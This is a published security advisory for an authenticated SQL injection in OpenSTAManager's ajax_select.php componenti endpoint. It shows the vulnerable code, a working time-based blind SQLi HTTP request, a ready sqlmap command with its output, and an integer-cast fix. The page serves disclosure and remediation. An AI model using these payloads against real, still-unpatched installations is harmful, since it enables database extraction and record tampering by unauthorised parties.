High

OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)

  • Disclosed: 06.02.2026
  • Updated: 11.10.2026 10:22

Summary

A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.

Proof of Concept

Vulnerable Code

File: modules/impianti/ajax/select.php:122-124

php
case 'componenti':
    $impianti = $superselect['matricola'];
    if (!empty($impianti)) {
        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
    }

Data Flow

  1. Source: $_GET['options']['matricola'] → $superselect['matricola']
  2. Vulnerable: User input concatenated directly into IN() clause without sanitization
  3. Sink: Query executed via AJAX framework

Exploit

Manual PoC (Time-based Blind SQLi):

http
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
<img width="1306" height="581" alt="image" src="https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011" />

SQLMap Exploitation:

bash
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --risk=3

SQLMap Output:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
<img width="1228" height="801" alt="image" src="https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b" />

Impact

  • Data Exfiltration: Time-based blind SQL Injection allows complete database extraction
  • Authentication Bypass: Access to sensitive component and equipment data
  • Data Manipulation: Potential unauthorized modification of records

Remediation

Cast values to integers before using in SQL:

Before:

php
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}

After:

php
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $ids = array_map('intval', explode(',', $impianti));
    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}

Credit

Discovered by: Łukasz Rybak

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package devcode-it/openstamanager <= 2.9.8 no fix

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-89
Platform
Composer
Package
devcode-it/openstamanager
Disclosed
06.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-qjv8-63xq-gq8m - CC BY 4.0

Vulnerability history: devcode-it/openstamanager

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (18) in the archive
Total entries
18
First → latest
11.2025 08.2026
Without a fix
11
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 14
  • Medium 1
  • Low 1

Disclosures per year

  1. 2025: 1
  2. 2026: 17
Severity:
  1. High · 8.8 CVE-2026-35168 < 2.10.2 2.10.2
  2. OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint) this entry
    High · 8.8 CVE-2025-69214 <= 2.9.8 no fix
  3. High CVE-2025-69215 <= 2.9.8 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.